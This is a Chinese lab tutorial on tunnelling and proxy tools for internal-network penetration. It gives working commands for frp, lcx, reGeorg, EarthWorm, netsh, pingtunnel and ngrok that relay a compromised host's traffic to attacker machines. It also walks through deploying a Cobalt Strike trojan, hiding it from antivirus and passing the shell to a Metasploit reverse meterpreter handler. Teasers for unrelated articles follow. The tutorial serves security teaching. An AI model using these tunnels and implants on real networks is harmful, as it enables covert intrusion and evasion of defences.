内网渗透-隧道代理转发

news2024/10/11 19:14:19

文章目录

  • 前言
  • 环境搭建
  • 工具清单
  • 工具使用
    • Frp
      • 命令执行
      • 实验
    • Lcx
      • 命令执行
      • 实验
    • reGeorg
      • 命令执行
      • 实验
      • Proxifier
    • ew(EarthWorm)
      • 正向代理
        • 命令执行
        • 实验
      • 反向代理
        • 命令执行
        • 实验
        • SocksCap
    • netsh
      • 命令执行
    • pingtunnel
      • 命令执行
      • 实验
    • ngrok
      • 命令执行&&实验
    • cs
      • 命令执行
      • 实验

前言

本文章介绍内网渗透中本人常用的一些隧道代理转发工具。

环境搭建

在这里插入图片描述
环境配置坑点:记得把内网网卡的这个√取消掉,否则直接不同网段也能直接访问到内网…
在这里插入图片描述

win10_hacker: 192.168.29.139
kali_hacker: 192.168.29.128
windows(目标服务器): (192.168.29.13010.0.0.3)
winserver2003: 10.0.0.112

注:双网卡的系统没有固定用哪个,我这里使用windows,是因为我找了好几个靶机最后手头上只有win10能运行,这里也可以使用linux作为被控制机器,没有所谓,注意frp要使用对应系统的版本即可。

工具清单

可转发工具,这些是进行内网流量转出的工具

Frp
Lcx
reGeorg
ew(EarthWorm)
netsh
pingtunnel
ngrok
cs

可代理工具,这些是本地进行流量转换的工具

Proxifier(windows)
SocksCap(windows)
cs(windows)
Proxychains(linux)#本文不做介绍

工具使用

注明:以下工具仅简单介绍使用方法。

Frp

项目地址:https://github.com/fatedier/frp/

服务端:kali_hacker (192.168.29.128)
客户端:windows(目标服务器)(192.168.29.130、10.0.0.3)

将客户端内网中10.0.0.112:80的流量转到服务端的6000端口中。

命令执行

kali_hacker

vim frps.toml #自行修改端口号,不要与本机的端口号冲突即可
#运行命令
./frps -c frps.toml

windows

#frpc.toml配置文件说明
serverAddr:服务端地址
serverPort:服务端配置文件中bind绑定的端口
localIP:直接指定内网中你要转的的ip即可
localPort:将localIP的哪个端口号流量转出来
remotePort:将流量转进服务端的哪个端口号
type:是表示你要进行什么类型的流量转发,一般是tcp和http(后面介绍http)
customDomains:表示当内网信息转过来的时候你希望以什么域名访问,这里需要你修改hosts文件,将ip和域名进行绑定。
#运行命令
.\frpc.exe -c frpc.toml

下面是常用的配置,配置了http、tcp(rdp,ssh)

serverAddr = "192.168.29.128"
serverPort = 7000

[[proxies]]
name = "web"
type = "http"
localIP = "10.0.0.112"
localPort = 80
customDomains = ["www.hacker.com"]

[[proxies]]
name = "rdp"
type = "tcp"
localIP = "10.0.0.112"
localPort = 3389
remotePort = 6000

[[proxies]]
name = "ssh"
type = "tcp"
localIP = "10.0.0.112"
localPort = 22
remotePort = 6000

实验

服务端运行
修改hosts文件:对应客户端设置的域名和ip
(ip就是这台kali机器所以可以写127.0.0.1)
在这里插入图片描述
在这里插入图片描述

客户端运行
在这里插入图片描述

服务端访问内网
在这里插入图片描述
同理6000端口是内网机器10.0.0.112的3389转进来的流量
在这里插入图片描述

Lcx

项目地址:
https://github.com/Brucetg/Pentest-tools/tree/master/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91

windows_hacker:(192.168.29.139)
windows(目标服务器)(192.168.29.130、10.0.0.3)

将windows内网中的10.0.0.112:3389流量转到windows_hacker的2222端口上,然后windows_hacker本地将2222端口转到4444端口上。

命令执行

windows_hacker

.\lcx.exe -listen 2222 4444

windows

.\lcx.exe -slave 192.168.29.139 2222 10.0.0.112 3389

实验

windows_hacker运行
在这里插入图片描述
被控的windows主机运行
在这里插入图片描述
windows_hacker远程桌面内网机器
在这里插入图片描述
在这里插入图片描述

reGeorg

项目地址:
https://github.com/sensepost/reGeorg

windows_hacker:(192.168.29.139)
windows (目标服务器)(192.168.29.130、10.0.0.3)

用脚本帮你将目标机器windows 上的内网信息通过socks隧道转到windows_hacker的9999端口上来。

命令执行

windows

将对应站点开发语言的脚本传到目标服务器上,能访问成功即可
(php开发的就传php的脚本,即:tunnel.nosocket.php)

windows_hacker

需要用python2
python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.29.130/tunnel.nosocket.php

实验

将文件上传到目标服务器后,在hacker机器上能访问成功即可
在这里插入图片描述
使用python2环境运行脚本
在这里插入图片描述

Proxifier

现在就已经是成功转出来了,只不过需要对转出来的socks流量做一个转换,转换为本机可用的,因为我们知道内网有一个网站,需要转成http流量进行访问。
使用Proxifier进行一个本地流量转换
1.添加代理服务器
在这里插入图片描述
2.添加代理规则
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3.localhost选择你之前配置好的代理服务器 127.0.0.1:9999
在这里插入图片描述
接着拿出你的浏览器访问内网ip即可了,这样就相当于将内网流量彻底转到你的机器上面来,而不是说单独哪一个端口转出来,这里随心所欲逛内网了,bp抓包都没问题。
4.访问成功
在这里插入图片描述

ew(EarthWorm)

项目地址:该工具已下架,很遗憾,接下来就来怀念一下这个工具吧。
(这款工具杀软基本过不了,规则已公开)

windows_hacker:(192.168.29.139)
windows(目标服务器)(192.168.29.130、10.0.0.3)

正向代理

命令执行
windows_hacker: 用proxifier正向连接ip:端口
windows:ew.exe -s ssocksd -l 1080
实验

目标服务器windows
注意1080是转出的端口,后面正向连接要用这个端口
在这里插入图片描述
windows_hacker:配置好目标ip+端口就能访问了,这款工具很迅速
在这里插入图片描述

反向代理

命令执行
windows(目标服务器): ew.exe -s rssocks -d 192.168.29.139 -e 888

windows_hacker: ew.exe -s rcsocks -l 1080 -e 888

意思是将目标服务器的内网环境通过888端口转出到hacker的888,然后hacker将888转到1080端口

实验

hacker机器先进行监听,否则目标服务器那边会因流量转不出执行出错
在这里插入图片描述
接着目标服务器执行\

在这里插入图片描述
就能看到hacker这边有反应显示成功了
在这里插入图片描述

SocksCap

上面用了很多proxifier,那这里就用一下SocksCap
1.点击代理,右键新增代理
在这里插入图片描述
在这里插入图片描述
2.导入程序的方式,自己选一个接受流量的程序,我们这里是为了访问内网的web服务就选择浏览器访问即可。
在这里插入图片描述
3.导入后就能打开访问内网网址了
在这里插入图片描述

netsh

建议在目标服务器上做本地端口转发接口,个人觉得本地端口转发效果最佳。

命令执行

目标服务器:将内网的10.0.0.112:80转到本地的880,最好用该机器对外的ip地址。

netsh interface portproxy add v4tov4 listenaddress=192.168.29.130 listenport=880 connectaddress=10.0.0.112 connectport=80

在这里插入图片描述

pingtunnel

这里因为windows作为目标路由服务器转发内网流量的实验失败,所以改用linux。
(有成功的师傅可以留言给我看下是什么问题,学习学习~)
在这里插入图片描述

命令执行

这里尝试转发内网的3389端口流量出来即可,其他端口类似,这里不管是服务端还是客户端,在哪个系统运行都是一样的参数,只不过我这里服务端在windows上运行接收不到客户端发来的请求,依赖也安装了具体原因没找到,还是失败,所以只能用linux来做服务端。
(有师傅成功了可以留言告知一声~)
server

./pingtunnel -type server

client

socks类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
tcp类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
udp类型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455

这里解释一下客户端命令的格式:

  • -type:代表是客户端类型运行的
  • -l
    :前面省略了客户端的ip则表示本地ip,表示本地回环地址,然后:后面接端口号,需要使用127.0.0.1进行连接,而如果你指定客户端的ip就需要用本机ip来进行连接
    (这里应该是还可以转发到其他ip上进行进一步利用的,这里没有尝试,有师傅尝试成功可以评论区留言教一下我。)
  • -s
    代表服务端的域名或者ip
  • -t
    代表服务端内网某一个机器的ip与要转发出来的端口号流量

实验

实验这里转tcp流量出来,如果你要转socks的话记得配合其它工具进行转换,比如linux用proxychains,windows用proxifier或其他等等工具,具体情况具体分析。
服务端
在这里插入图片描述

客户端
在这里插入图片描述

成功转出内网server2003的3389流量
在这里插入图片描述

ngrok

这个ngrok是解决局域网的流量无法像公网那样能访问,但是这个内网机器需要本身能够出网的才行,相当于你在家里面的局域网流量不是每一个人都能访问得到,假如你搭建了一台机器但是想让其他地区人也能访问到不用买公网ip,这样的话ngrok是不错的选择。
在内网渗透中用来解决内网机器流量无法直接访问这类问题也是一种手段。

这里随便找一台机器即可,这个机器需能访问外网,但外网无法直接访问他
windows: 192.168.29.130

命令执行&&实验

1.先去官网注册一个账号:
https://dashboard.ngrok.com/
2.登录进去后,接着进入后下载对应系统版本的ngrok到目标机器上
3.把ngrok程序运行起来,如下图所示
在这里插入图片描述
运行图片
在这里插入图片描述
我这里将80端口映射出来
在这里插入图片描述
如果没有看到绿色建立成功的话,运行这条命令:ngrok http 80。因为可能你不是第一次弄,就需要这条命令,成功后你会看到如下图所示的映射网址,直接访问这个就行。
在这里插入图片描述
访问网址后可能会是下图这个样子
在这里插入图片描述
你点击visit后就看到你映射出来的站点了,或者你映射的是其他流量就用其他方式直接链接这个地址即可。
下图可以看到我访问成功了内网中搭建的网站
在这里插入图片描述

ps:本人尝试将3389端口流量映射出来当远程链接,发现失败了,具体原因没找到,但测试后发现貌似只有将http这种网站映射出来效果最佳,所以要希望映射其他流量的话还是找其他工具进行实现最好。

cs

这里很简单,就是把木马丢到目标服务器上将shell转过来即可,进行内网渗透最好还是在cs上线后将权限转到msf上进行后渗透操作效果最佳。

命令执行

提前说明:服务端选择linux,客户端选择windows,你也可以自行选择不同搭配,服务端和客户端都有提供两种选择,我个人比较常用这种搭配。
服务端

安装jdk,建议安装jdk8(安装方法自行百度)

./teamserver 服务端ip 连接密码

客户端

安装jdk,建议安装jdk8(安装方法自行百度)
./cs.bat

ps: teamserver也有提供windows的teamserver.bat运行,同样cs也有提供cs.sh运行。

实验

服务端
在这里插入图片描述
客户端
windows双击cs.bat文件即可
在这里插入图片描述


1.接着客户端这边生成木马
首先创建监听器
在这里插入图片描述
如果没有其他代理需求就按照下面配置即可(更多用法自行去百度)
在这里插入图片描述

选择生成木马后门
在这里插入图片描述
在这里插入图片描述
将木马保存在一个免杀目录中,不要被杀软杀掉即可
2.将木马上传在目标服务器上执行即可,这里做实验就直接放虚拟机双击了
在这里插入图片描述
回到客户端看cs就发现有主机上线了,甚至能看到他的两张网卡,内外网ip
在这里插入图片描述
3.这里最好是和msf联动进行内网渗透效果最佳,所以这里我选择让cs增加一个会话转到msf中
先运行msfconsole开启msf,并创建监听器

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost (msf监听的ip)192.168.29.128
set lport (msf监听的端口)4444

在这里插入图片描述

4.接着添加监听器
在这里插入图片描述
在这里插入图片描述
5.右键增加会话
在这里插入图片描述
接着选择刚刚添加的msf监听器即可
在这里插入图片描述msf已经拿到shell了,后续就是看你玩msf玩的溜不溜就完事了。
在这里插入图片描述


本文介绍内网搭建隧道代理的一些工具,拿到内网环境后就可以进行后渗透工作了
(当然要遵守网络安全法,在授权范围下进行)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2205569.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何安装NOI(全国青少年信息学奥林匹克竞赛) Linux环境:详细安装指南

在全国青少年信息学奥林匹克竞赛(NOI)中,NOI Linux环境是比赛指定的操作系统。该环境基于Ubuntu,专门为编程竞赛设计和优化,包含了C编程和算法竞赛所需的工具和编译器。为了让学生在比赛中熟悉这一环境,了解…

深圳有哪些神仙公司?

前文写了一篇杭州有哪些神仙公司?有读者看完之后,建议出一篇深圳的神仙公司名单,这就安排了。 之前在深圳待过一段时间,整体印象很好,气候宜人,是一座充满活力、创新和机遇的城市。 坐标深圳的小伙伴&…

【C++】线程库常用接口

1.创建线程,等待线程,获取线程id 2.全局变量,局部变量,互斥锁 要让不同的线程访问同一个变量和同一把锁,有两种方法: 2.1方法一 定义全局的变量和全局的锁,这样自然就能访问到。 但全局变量在…

物联网护士站!RFID与传感技术如何提升病患管理智能化?

随着物联网技术的迅速发展,智慧医疗的理念逐渐被广泛应用于医院管理和医疗服务中,成为现代医疗的重要组成部分。通过物联网技术的引入,医院不仅能够实现对患者的智能化医疗,还能高效管理设备和物资,从而推动智慧医疗的…

[C++]使用onnxruntime部署yolov8-cls图像分类onnx模型

如果只需要opencv去部署yolov8分类模型可以参考博文:https://blog.csdn.net/FL1623863129/article/details/142734780 本文和 opencv去部署yolov8分类模型区别是:opencv部署推理核心使用opencv自带api,而本文推理核心用的onnxruntime&#x…

ros2:从github上下载源码进行编译

首先,创建工作空间 # 1. 递归创建工作空间目录 mkdir -p catkin_ws/src # 2. 进入src目录 cd catkin_ws/src然后如果你没有安装git,需要 sudo apt install git然后输入。 git clone https://github.com/6-robot/wpr_simulation.git这时候,…

LeetCode-12. 整数转罗马数字【哈希表 数学 字符串】

LeetCode-12. 整数转罗马数字【哈希表 数学 字符串】 题目描述:解题思路一:贪心解题思路二:背诵版,只需写出1954开头的数字进行贪心即可。解题思路三:暴力匹配 题目描述: 七个不同的符号代表罗马数字&…

拿下奇怪的前端报错:1比特丢失导致的音视频播放时长无限增长-浅析http分片传输核心和一个坑点

问题背景 在一个使用MongoDB GridFS实现文件存储和分片读取的项目中,同事遇到了一个令人困惑的问题:音频文件总是丢失最后几秒,视频文件也出现类似情况。更奇怪的是,播放器显示的总时长为无限大。这个问题困扰了团队成员几天&…

gradle build --offline idea怎么配置 打包命令使用gradle build --offline进行打包怎么操作

两种方式 1:一种命令行执行gradle build --offline 2:一种直接gradle这里单击离线

多模态理论——什么是多模态?多模态的关键技术?

多模态理论 文章目录 多模态理论1.什么是多模态(multimodal)2.深度学习中的多模态3.多模态学习的关键技术3.1模态表示3.2多模态对齐3.3多模态融合 4.多模态任务 1.什么是多模态(multimodal) 模态指的是数据或者信息的表现形式&am…

完美收官丨飞易通端到端整体解决方案助力嵌入式技术发展

2024年10月10日,Embedded World 2024展会在美国德克萨斯州奥斯汀完美收官。Embedded World 2024是嵌入式系统领域的全球性盛会,汇聚了来自世界各地的专业人士,促进了嵌入式系统、工业自动化、汽车技术和通信系统领域的合作与发展。 应展会举办…

深入解析 Go 语言中的结构体:从基础用法到高级技巧的全方位指南

结构体(Struct)是 Go 语言中的一种重要数据类型,能够帮助我们将多个数据组合成一个自定义的类型。与其他编程语言的类(Class)类似,结构体允许我们定义字段、方法,并灵活操作数据。本文将从基础到…

遥控器传输信号算法详解!

一、算法概述 无人机遥控器信号传输算法主要基于无线通信技术,通过特定的调制、编码和信号处理技术,将遥控器的操作指令转化为无线电信号,并传输给无人机。无人机接收到信号后,再将其解码为可识别的指令,从而实现对无…

10月造价、注安考试的押题资料,到底有没有用?

​随着考试的临近,各大考试机构也开始推出了各种考前押题资料。面对网络铺卷而来的考前押题资料,考生自己也无从判断资料的质量,那该如何选择靠谱的押密资料呢?今天考试100就带大家来分析一下: 1、正确看待押题资料 首…

标签页(tabs)内容的显示和样式

1. 代码 <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <meta name"viewport" content"widthdevice-width, initial-scale1.0"> <title>Tabs Example</title> &…

吴恩达深度学习笔记(一)-基础知识

上图三种神经网络&#xff1a;标准、卷积&#xff08;用于图像&#xff09;、循环&#xff08;序列化数据、时序数据&#xff09; 数据类型&#xff1a;结构化&#xff08;表格&#xff09;、非结构化&#xff08;语言、图片、文本&#xff09; 二分类问题&#xff1a; 0、1判…

Qt-窗口对话框QFileDialog的使用(53)

目录 描述 相关函数 使用 描述 文件对话框 ⽂件对话框⽤于应⽤程序中需要打开⼀个外部⽂件或需要将当前内容存储到指定的外部⽂件 相关函数 打开⽂件&#xff08;⼀次只能打开⼀个⽂件&#xff09; QString getOpenFileName 打开多个⽂件&#xff08;⼀次可以打开多个⽂件…

2024下半年软考中级网络工程师,这100题,必做!

第一章节&#xff1a;计算机硬件基础&#xff08;5&#xff09; 1、在机器指令的地址字段中&#xff0c;直接指出操作数本身的寻址方式称为&#xff08; &#xff09;。 A 隐含寻址 B 寄存器寻址 C 立即寻址 D 直接寻址 答案&#xff1a;C 解析: 立即寻址方式通常直接在指…

Copilot Coaching新功能铸就Word更强

Copilot 的意思是副驾驶。 现在&#xff0c;您的副驾驶教练来了&#xff1a;Copilot Coaching Copilot Coaching 是 Word 中的一项新 Copilot 功能&#xff0c;可在您查看内容时为您提供支持&#xff0c;以实现语法和拼写之外的改进 - 帮助您澄清想法&#xff0c;并为您提供有…

Granafa配置基于elasticsearch数据源的折线图

Granafa可以直接配置基于elasticsearch数据源的折线图&#xff0c;用于展示es库中数据的最值、均值、总量等